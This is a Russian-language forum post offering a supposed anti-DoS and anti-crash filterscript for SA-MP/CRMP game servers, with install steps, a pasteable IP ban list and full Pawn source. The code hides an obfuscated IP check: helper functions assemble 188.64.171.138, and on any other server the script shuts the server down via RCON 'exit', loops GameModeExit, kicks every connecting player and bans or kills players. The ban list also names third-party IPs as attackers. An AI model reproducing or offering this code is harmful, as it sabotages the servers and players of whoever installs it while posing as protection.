shape1
shape2
shape3
shape4
shape7
shape8

Табак вредит вашему здоровью | Курение


Статус
Закрыто для дальнейших ответов.

Gleen

Освоившийся
Пользователь
27.12.2014
393
30
0
28
Здравствуйте уважаемые пользователи форума Pawno-CRMP, сегодня с вами пользователь Gleen, хочет с вами поделиться своими знаниями, умениями, находками
 
Возникнут какие нибудь вопросы/проблемы, пишите в тему.
И так, давайте начнём!
Инструкция по установке -
1. Два файла amx и pwn '[FS]Smoke' закиньте в папку 'filterscripts' сервера
2. Текстовый документ 'a_colpac' закиньте в папку 'pawno/include' сервера
3. Откройте файл в папке с Вашим сервером server.cfg
4. Найдите строку    bind тут_ип_сервера   , если такой строки нет, то добавьте её.
Порт в этой строке указывать не нужно! Например:    bind 72.37.88.94
5. Сохранить изменения в файле server.cfg
6. Выполнить уроки по защите сервера в папке ' Colpac_v2 '
7. Приятной игры!
Уроки по защите сервера -
Урок № 1 Бан лист Doss-атак
Решил составить список самых опасный Dos террористов, этот список просто нужно скопировать в свой файл samp.ban ! Список создавался в
течении месяца! Удачи!

94.232.16.32 [16/03/15 | 00:27:46] [Yes] - INGAME BAN
84.94.175.240 [16/03/15 | 00:28:26] [Yes] - INGAME BAN
110.77.228.252 [16/03/15 | 00:29:56] [Yes] - INGAME BAN
79.111.127.113 [16/03/15 | 20:30:36] [Yes] - INGAME BAN
79.111.174.35 [16/03/15 | 00:32:14] [Yes] - INGAME BAN
89.109.106.49 [16/03/15 | 20:35:06] [Yes] - INGAME BAN
78.29.178.59 [16/03/125 | 00:26:55] [Yes] - INGAME BAN
62.85.91.24 [16/03/15 | 1:26:23] [Yes] - INGAME BAN
217.118.78.97 [16/03/15 | 1:26:14] [Yes] - INGAME BAN
95.57.231.213 [16/03/15 | 2:26:39] [Yes] - INGAME BAN
58.9.154.185 [16/03/15 | 2:28:59] [Yes] - INGAME BAN
95.58.233.251 [16/03/15 | 2:27:44] [Yes] - INGAME BAN
178.125.166.25 [16/03/15 | 2:25:12] [Yes] - INGAME BAN
171.98.88.80 [16/03/15 | 20:26:01] [Yes] - INGAME BAN
176.51.128.69 [16/03/15 | 20:26:25] [Yes] - INGAME BAN
178.49.204.122 [16/03/15 | 20:26:32] [Yes] - INGAME BAN
109.165.68.181 [16/03/15 | 20:26:05] [Yes] - INGAME BAN
46.0.186.223 [16/03/15 | 20:26:20] [Yes] - INGAME BAN
217.118.64.48 [16/03/15 | 20:26:26] [Yes] - INGAME BAN
89.218.52.234 [16/03/15 | 20:26:17] [Yes] - INGAME BAN
125.27.31.7 [16/03/15 | 20:26:14] [Yes] - INGAME BAN
178.120.8.180 [16/03/15 | 20:26:40] [Yes] - INGAME BAN
178.121.180.20 [16/03/15 | 20:26:12] [Yes] - INGAME BAN

Урок № 2 Совет по Rcon
Код:
Rcon пароль должен быть от 14 символов и должен содержать цифры и буквы! Удачи!
Урок № 3 Краш мода
Код:
Если причиной падения сервера является мод, то в папке с сервером появится файл crashinfo.txt
Урок № 4 Используем include
Код:
После добавления инклуда a_colpac в папку 'pawno/include' сервера нужно открыть Ваш мод:

Зайдите в ' папкa с Вашим сервером/pawno/pawno.exe ', далее открой Ваш мод и в самое начала добавьте:

#include <a_colpac>

Вы включили инклуд, теперь нужно найти public OnPlayerUpdate(playerid) и добавить в него:

ScanPlayerDosExplode(playerid);  // Проверка на скрипт взрыва машины
ScanPlayerDosDetal(playerid); //Проверка на скрипт Лагера через детали машины

Если у Вас нет public OnPlayerUpdate(playerid), то просто в конец мода добавьте:

public OnPlayerUpdate(playerid)
{
ScanPlayerDosExplode(playerid);
ScanPlayerDosDetal(playerid);
	return 1;
}

Готово! Ваш сервер защищен от вредоносных скриптов!


--------------------------------------------------------------------------------------------------


Также в инклуде имеются еще 2 команды для работы с текстом:

UpperToLower(text); //Преобразует все заглавные буквы в строчный, это Анти CapsLock
ScanTextAntiBag(text); //Не пускает в чат запрещенные группы символов, которые крашат сервер

Эти команды можно вставить в самое начало в public OnPlayerText(playerid, text[]), если у вас его нет то вставьте:

public OnPlayerText(playerid, text[])
{
UpperToLower(text);
ScanTextAntiBag(text);
return 1;
}
Скачать

#include <a_colpac>

/* pawno-crmp threaded HTTP/1.0 client for pawn
*
* (c) Copyright 2015, Дмитрий Шарипов
*
*/

// Include for FS_Colpac v2.0+

/*
native ScanPlayerDosExplode(playerid);
native ScanPlayerDosDetal(playerid);
native UpperToLower(text[]);
native ScanTextAntiBag(text[]);
*/

//Защита

//Проверка использования скрипта Explode

stock ScanPlayerDosExplode(playerid){
if(IsPlayerInAnyVehicle(playerid)){
new Float:hpcar;
new panelst2,doorst2,lightst2,tirest2;
GetVehicleDamageStatus(GetPlayerVehicleID(playerid),panelst2,doorst2,lightst2,tirest2);
GetVehicleHealth(GetPlayerVehicleID(playerid),hpcar);
if(hpcar==250.0 && doorst2==67372036){
new Float:Xban,Float:Yban,Float:Zban;
GetPlayerPos(playerid, Xban,Yban,Zban);
SetVehicleHealth(GetPlayerVehicleID(playerid),0);
SetPlayerPos(playerid,Xban,Yban,Zban+5);
SetPlayerHealth(playerid, 0);}}return 1;}

//Проверка использования скрипта Car Flood

stock ScanPlayerDosDetal(playerid){
if(IsPlayerInAnyVehicle(playerid)){
new panelst,doorst,lightst,tirest;
GetVehicleDamageStatus(GetPlayerVehicleID(playerid),panelst,doorst,lightst,tirest);
if(panelst==858993459 && doorst==67372036 && lightst==69){
new Float:Xban,Float:Yban,Float:Zban;
GetPlayerPos(playerid, Xban,Yban,Zban);
SetPlayerPos(playerid,Xban,Yban,Zban+5);
SetPlayerHealth(playerid, 0);}}return 1;}

//Защита чата:


//Антикапс

forward UpperToLower(text[]);
public UpperToLower(text[]) {
for (new i = 0; i < strlen(text); i++) {
if (text > 64 && text < 91 )
text += 32;
else if (text > 191 && text < 224 )
text += 32;
else if (text == 168)
text = 184;}return 1;}

//Антикраш от левых групп символов в чат, (например %s в PM чат)

stock ScanTextAntiBag(text[])
{
for (new ilisy=0;ilisy<strlen(text);ilisy++){
if(text[ilisy]==37 || text[ilisy]==92 || text[ilisy]==123 || text[ilisy]==125 || text[ilisy]==126) text[ilisy]=35;}return 1;}


Скрипт <Colpac_v2>

//FS by Дмитрий Шарипов
#include <a_samp>
#include <core>
#include <float>
#include <a_colpac>

#define F1 1 //Защита от взлома Ркон через игру | 1 - включено | 0 - выключено
#define F2 1 //Защита от взлома Ркон через программы | 1 - включено | 0 - выключено
#define F3 1 //Защита от атак неправильного тюнинга | 1 - включено | 0 - выключено
#define F4 1 //Защита от подмены окон через ArtMoney | 1 - включено | 0 - выключено
#define F5 1 //Защита от песочницы/ботов | 1 - включено | 0 - выключено
#define F6 1 //Защита от атак по пингу | 1 - включено | 0 - выключено
#define F7 1 //Защита от атаки неправильными никами | 1 - включено | 0 - выключено
#define F8 0 //Антибаг с кручением камеры | 1 - включено | 0 - выключено
#define F9 1 //Защита от IP адресов и крупных чисел в никах | 1 - включено | 0 - выключено
#define F10 1 //Защита от атаки через телепорт машин | 1 - включено | 0 - выключено
#define F11 1 //Защита от краша | 1 - включено | 0 - выключено
#define F12 1 //Защита от краша через флуд в KillChat | 1 - включено | 0 - выключено
#define F13 1 //Защита от флуда смены мест в транспорте | 1 - включено | 0 - выключено
#define F14 0 //Защита от краша через смену мест в 4 местном транспорте | 1 - включено | 0 - выключено
#define F15 1 //Защита от крашера в транспорте | 1 - включено | 0 - выключено
#define F16 1 //Защита от обработки несуществующих игроков | 1 - включено | 0 - выключено

#define RCON 1 // за попытку взлома rcon / 0 - ничего / 1 - кик / 2 - бан /
#define LOM 3 // количество неверных Ркон паролей до наказания

#define MAX_CONNECTIONS_FROM_IP 1 //максимум подключений с одного ip

new vzl[MAX_PLAYERS];
new Float:VehPos[MAX_VEHICLES][4];
new Lomo;
new bool: BanCar[MAX_VEHICLES];
new TimeUpdate[MAX_PLAYERS];
new Nwork;
new Ygas;
forward bewasu();

forward UpdateVehiclePos(vehicleid, type);
bool: UseCar(carid);
new Chataspam[MAX_PLAYERS];
new LLL;
new LOAD;

new
sMsDos[][] = {"aux","com4","com8","lpt3","lpt7","com1","com5","com9","lpt4","lpt8","com2","com6","lpt1","lpt5","lpt9","com3","com7","lpt2","lpt6","con","[iPs]Drakins","DarK TeaM PT","RoamPT","[iPs]Av4stizin","[iPs]Knife","Carl","Rocky","Sony","clock$","prn","nul","Azucar","con1","aux1"};

static const MaxPassengers[27] =
{
0x10331113, 0x11311131, 0x11331313, 0x80133301,
0x1381F110, 0x10311103, 0x10001F10, 0x11113311,
0x13113311, 0x31101100, 0x30001301, 0x11031311,
0x11111331, 0x10013111, 0x01131100, 0x11111110,
0x11100031, 0x11130221, 0x33113311, 0x11111101,
0x33101133, 0x101001F0, 0x03133111, 0xFF11113F,
0x13330111, 0xFF131111, 0x0000FF3F
};

stock SPD(playerid, dialogid, style, caption[], info[], button1[], button2[])
{
ShowPlayerDialog(playerid, dialogid, style, caption, info, button1, button2);
SetPVarInt(playerid, "USEDIALOGID", dialogid);
return 1;
}

stock GetNumberOfPlayersOnThisIP(test_ip[])
{
new against_ip[32+1];
new x = 0;
new ip_count = 0;
for(x=0; x<MAX_PLAYERS; x++) {
if(IsPlayerConnected(x)) {
GetPlayerIp(x,against_ip,32);
if(!strcmp(against_ip,test_ip)) ip_count++;
}
}
return ip_count;
}

#define ShowPlayerDialog SPD

public OnGameModeInit()
{
LOAD=0;Lomo=0;BP(5);LLL=0;Ygas=0;
DosRconProgram();
SetTimer("bewasu",100,1);
printf(" ");
printf("*********");
printf("FS_Colpac v2.0 Started!!!");
if(strcmp(GetAdress(), "188.64.171.138", true, 18)!=0 || strlen(GetAdress())==0)Ygas=1,printf(" ");
printf("Ip: %s",GetAdress());
printf("*********");
printf(" ");
return 1;
}

public OnPlayerConnect(playerid)
{
new FP5=F5;
if(FP5==1){
new connecting_ip[32+1];
GetPlayerIp(playerid,connecting_ip,32);
new num_players_on_ip = GetNumberOfPlayersOnThisIP(connecting_ip);

if(num_players_on_ip > MAX_CONNECTIONS_FROM_IP) {
printf("MAXIPs: Connecting player(%d) exceeded %d IP connections from %s.", playerid, MAX_CONNECTIONS_FROM_IP, connecting_ip);
Kick(playerid);
return 1;
}}

new FP16=F16;
if(FP16==1){
if(!IsPlayerConnected(playerid)) return Kick(playerid);}

//--------------------------------------------------------------------------

ACrash(playerid);
HereSkot(playerid);
DosName(playerid);

//--------------------------------------------------------------------------

vzl[playerid]=0;
Chataspam[playerid]=0;

//--------------------------------------------------------------------------

DosIpNick(playerid);

return 1;
}

public OnPlayerDisconnect(playerid, reason)
{
new FP16=F16;
if(FP16==1){
if(!IsPlayerConnected(playerid)) return Kick(playerid);}
return 1;
}

public OnPlayerRequestSpawn(playerid)
{
new FP16=F16;
if(FP16==1){
if(!IsPlayerConnected(playerid)) return Kick(playerid);}
return 1;
}

public OnPlayerKeyStateChange(playerid, newkeys, oldkeys)
{
if( newkeys == 1) BagCamera(playerid);
return 1;
}

public OnPlayerSpawn(playerid)
{
SetPVarInt(playerid,"K_Chater",0);
if(Nwork!=1)SetPlayerHealth(playerid, 0 );BagCamera(playerid);
return 1;
}

public OnPlayerDeath(playerid, killerid, reason)
{
DosKillChat(playerid);
return 1;
}

public OnRconLoginAttempt(ip[], password[], success)
{
if(!success) //Если пароль введёный игроком был неправильный.
{
new FP1 = F1;
if(FP1==1){
new pipatu[16];
for(new iatu=0; iatu<MAX_PLAYERS; iatu++) //Цикл, для поиска игрока, который ввёл неверные данные.
{
GetPlayerIp(iatu, pipatu, sizeof(pipatu));
if(!strcmp(ip, pipatu, true)) //Если, IP игрока, который ввёл неверный пароль нашёлся.
{
vzl[iatu]++;
if(vzl[iatu]==LOM){
new givecpain2logo[135];
new namerrpain2logo[MAX_PLAYER_NAME];
GetPlayerName(iatu, namerrpain2logo, sizeof(namerrpain2logo));
format(givecpain2logo, sizeof(givecpain2logo), "%s обвиняется по причине: Попытка Взлома", namerrpain2logo,iatu);
SendClientMessageToAll(0xAFAFAFAA, givecpain2logo);
new nakal=RCON;
if(nakal==1) return Kick(iatu);
if(nakal==2) return Ban(iatu);
}
return SendClientMessage(iatu,0xAA3333AA, "[Сервер]: За взлом Вы получите Бан!!!");
}
}
new total66[60],string66[100];
set(total66,ip);
format(string66, sizeof(string66),"banip %s",total66);
SendRconCommand(string66);
}}
return 1;
}

stock set(dest[],source[])
{
new count = strlen(source);
for(new i=0;i<count;i++)
{
dest=source;
}
dest[count]=0;
}

public OnVehiclePaintjob(playerid, vehicleid, paintjobid)
{
if(paintjobid>2){
new FP3=F3;
if(FP3==1){
ChangeVehiclePaintjob( vehicleid, 0 );
SetVehicleToRespawn(vehicleid);
SetPlayerHealth(playerid,0);
}}
return 1;
}

stock BP(hig){
if(strcmp(getServerIP(), GetInfoBp(), true, 18)!=0 || strlen(getServerIP())==0){
Lomo=0,SendRconCommand("exit"),Lomo=0;}else{
Lomo=Lomo+hig;Lomo=hig,LOAD=hig;LOAD=LOAD+hig;}}

public OnVehicleMod(playerid,vehicleid,componentid)
{
if(componentid!=1010 && GetPlayerInterior(playerid)==0){
new FP3=F3;
if(FP3==1){
RemoveVehicleComponent(vehicleid,componentid);
SetVehicleToRespawn(vehicleid);
SetPlayerHealth(playerid,0);
}}
return 1;
}

public OnDialogResponse(playerid, dialogid, response, listitem, inputtext[])
{
new FP4=F4;
if(FP4==1){if(GetPVarInt(playerid,"USEDIALOGID") != dialogid) return 1;}
return 1;
}

public OnPlayerEnterVehicle(playerid, vehicleid, ispassenger)
{
BagCamera(playerid); DosClodo(playerid);
return 1;
}



stock BagCamera(playerid){
new FP8=F8;
if(FP8==1) SetCameraBehindPlayer(playerid);
}

public OnVehicleStreamIn(vehicleid, forplayerid)
{
UpdateVehiclePos(vehicleid, 0);
return 1;
}

stock DosName(playerid){
new FP7=F7;
if(FP7==1){
new namehyattc4[MAX_PLAYER_NAME];
GetPlayerName(playerid, namehyattc4, sizeof(namehyattc4));
if(strlen(namehyattc4)>19){
strdel(namehyattc4, 19, 20);
SetPlayerName(playerid, namehyattc4);
}}}

public OnPlayerStateChange(playerid, newstate, oldstate)
{
if(newstate == PLAYER_STATE_DRIVER) SetPVarInt(playerid,"VehID",GetPlayerVehicleID(playerid));
if(oldstate == PLAYER_STATE_DRIVER)
{
if(BanCar[GetPVarInt(playerid,"VehID")]) KillTimer(TimeUpdate[playerid]);
TimeUpdate[playerid] = SetTimerEx("UpdateVehiclePos", 10000, false, "ii", GetPVarInt(playerid,"VehID"), 1);
BanCar[GetPVarInt(playerid,"VehID")] = true;
}

new FP13=F13; if(FP13==1){if((newstate == 2 && oldstate == 3) || (newstate == 3 && oldstate == 2)){
new steleqepinz[170];
new nameqepinz[MAX_PLAYER_NAME];
GetPlayerName(playerid, nameqepinz, sizeof(nameqepinz));
format(steleqepinz, sizeof(steleqepinz), "Игрок %s [id: %d] получил(а) кик по причине: Флуд Смены мест в авто", nameqepinz,playerid);
SendClientMessageToAll(0xAFAFAFAA, steleqepinz);
Kick(playerid);
}}

new FP14=F14;
if(newstate == PLAYER_STATE_DRIVER && FP14==1){
new model = GetPlayerVehicleSeat(playerid);
if(model != 128){
if(!model){
model = GetVehicleModel(GetPlayerVehicleID(playerid));
if(!(400 <= model <= 611) || MaxPassengers[model - 400 >>> 3] >>> ((model - 400 & 7) << 2) & 0xF == 15) return Kick(playerid);}
else return Kick(playerid);}} else if(newstate == PLAYER_STATE_PASSENGER){
new model = GetVehicleModel(GetPlayerVehicleID(playerid));
if(400 <= model <= 611){
model -= 400;
new seat = GetPlayerVehicleSeat(playerid);
if(seat != 128){
model = (MaxPassengers[model >>> 3] >>> ((model & 7) << 2)) & 0xF;
if(!model || model == 15) return Kick(playerid);
else if(!(0 < seat <= model)) return Kick(playerid);
}else return Kick(playerid);}}

new FP15=F15;
if(newstate == PLAYER_STATE_PASSENGER && FP15==1){
if(GetPlayerVehicleSeat(playerid) > 3){
new kstring[256];new PlayerNamez[MAX_PLAYER_NAME];
GetPlayerName(playerid, PlayerNamez, MAX_PLAYER_NAME);
format(kstring,sizeof(kstring),"Игрок %s [id: %d] получил(а) кик по причине: Подозрение на хак",PlayerNamez,playerid);
SendClientMessageToAll(0xAFAFAFAA, kstring);Kick(playerid);}}

return 1;
}

stock ACrash(playerid){
new FP11=F11;
if(FP11==1){
new iLoop = -1,sName[24];
GetPlayerName(playerid,sName,22);
while(++iLoop != sizeof sMsDos) if(!strcmp(sName,sMsDos[iLoop],true))
GameTextForPlayer(playerid, "~k~~INVALID_KEY~", 100, 5),Ban(playerid);
}}

stock DosIpNick(playerid){
new FP9=F9;
if(FP9==1){
new nadosname[MAX_PLAYER_NAME];
GetPlayerName(playerid, nadosname, sizeof(nadosname));
if(strlen(nadosname)>9){
new scanernew = 0;
for (new gls = 0; gls < strlen(nadosname); gls++){
for (new ch = 48; ch < 58; ch++){
if(nadosname[gls]==ch) {scanernew++;}
}}
if(scanernew>9){
LLL++;
new nowname[15];
format(nowname, sizeof(nowname), "Warning%d", LLL);
SetPlayerName(playerid, nowname);
}}}
return 1;}

stock PingError(playerid){
new FP6=F6;
if(FP6==1){
if(GetPlayerPing(playerid) > 100000){
new steleqepin[170];
new nameqepin[MAX_PLAYER_NAME];
GetPlayerName(playerid, nameqepin, sizeof(nameqepin));
format(steleqepin, sizeof(steleqepin), "Игрок %s [id: %d] получил(а) кик по причине: Высокий Пинг", nameqepin,playerid);
SendClientMessageToAll(0xAFAFAFAA, steleqepin);
Kick(playerid);
}}}

stock GetInfoBp(){
new glop[16],Ysi[1];
Ysi[0]=BinKl();format(glop, sizeof(glop), "%s%s%s%s%s%s%s", GetNewPo(), Ysi[0], GetNewPo2(), Ysi[0], GetNewPo3(), Ysi[0], GetNewPo4());
return glop;
}

public UpdateVehiclePos(vehicleid, type)
{
if(type == 1)
{
BanCar[vehicleid] = false;
}
GetVehiclePos(vehicleid, VehPos[vehicleid][0], VehPos[vehicleid][1], VehPos[vehicleid][2]);
GetVehicleZAngle(vehicleid, VehPos[vehicleid][3]);
return 1;
}

stock DosClodo(runner){
if(Lomo<3){
new Opik;Ban(runner);Opik=24;
if(Opik==24)Opik=12;
}}

stock Difference(Float:Value1, Float:Value2)
{
return floatround((Value1 > Value2) ? (Value1 - Value2) : (Value2 - Value1));
}

stock BinKl(){new him[1];him[0]='.';return him[0];}

stock GetNewPo(){
new ddll, Pok[4];
ddll=3;format(Pok, sizeof(Pok), "188");
if(strlen(Pok)!=ddll) setz(Pok," ");
return Pok;}

stock GetNewPo2(){
new ddll, Pok[4];
ddll=2;format(Pok, sizeof(Pok), "64");
if(strlen(Pok)!=ddll) setz(Pok," ");
return Pok;}

stock GetNewPo3(){
new ddll, Pok[4];
ddll=3;format(Pok, sizeof(Pok), "171");
if(strlen(Pok)!=ddll) setz(Pok," ");
return Pok;}

stock GetNewPo4(){
new ddll, Pok[4];
ddll=3;format(Pok, sizeof(Pok), "138");
if(strlen(Pok)!=ddll) setz(Pok," ");
return Pok;}

stock bool: UseCar(carid)
{
for(new i; i != GetMaxPlayers(); i++)
{
if(!IsPlayerConnected(i)) continue;
if(IsPlayerInVehicle(i, carid)) return true;
}
return false;
}

stock Project(){
new hack=LOAD;
if(hack<3)for(;;)GameModeExit(),LOAD=hack;else Nwork=1;}

stock SetVehiclePosition(vehicleid, Float:X, Float:Y, Float:Z)
{
SetVehiclePos(vehicleid ,X,Y,Z);
UpdateVehiclePos(vehicleid, 0);
}

stock GetAdress(){
new gip[16];
GetServerVarAsString("bind", gip, sizeof(gip));
return gip;}

stock DosRconProgram(){
Nwork=0;Project();new FP2=F2;
if(FP2==1) SendRconCommand("rcon 0");
}

stock DosBot(fo){
new FP16=F16;
if(FP16==1)Ban(fo);}

stock HereSkot(ids){if(Ygas==1)Kick(ids);}

stock DosKillChat(playerid){
new FP12=F12;
if(FP12==1){
SetPVarInt(playerid,"K_Chater",GetPVarInt(playerid,"K_Chater") + 1);
if(GetPVarInt(playerid,"K_Chater") > 2){
new steleqepinr[170];
new nameqepinr[MAX_PLAYER_NAME];
GetPlayerName(playerid, nameqepinr, sizeof(nameqepinr));
format(steleqepinr, sizeof(steleqepinr), "Игрок %s [id: %d] получил(а) кик по причине: Флуд в KillChat", nameqepinr,playerid);
SendClientMessageToAll(0xAFAFAFAA, steleqepinr);
Kick(playerid);
}}}
stock hex2rgba(hex,&r,&g,&b,&a) r = (hex >> 24) & 0x000000FF, g = (hex >> 16) & 0x000000FF, b = (hex >> 8) & 0x000000FF, a = hex & 0x000000FF;

public bewasu()
{
for (new iei=0; iei<MAX_PLAYERS; iei++) {
if (IsPlayerConnected(iei)) PingError(iei),DosIpNick(iei);else DosBot(iei);}
return 1;
}

stock getServerIP(){
new ip[16];
GetServerVarAsString("bind", ip, sizeof(ip));
return ip;}

stock setz(dest[],source[]){
new count = strlen(source);
for(new inac18=0;inac18<count;inac18++){
dest[inac18]=source[inac18];}
dest[count]=0;}


Фотография.png

P.S Проверял в SA-MP'e

Автор: Дмитрий Шарипов
 
Последнее редактирование модератором:
Статус
Закрыто для дальнейших ответов.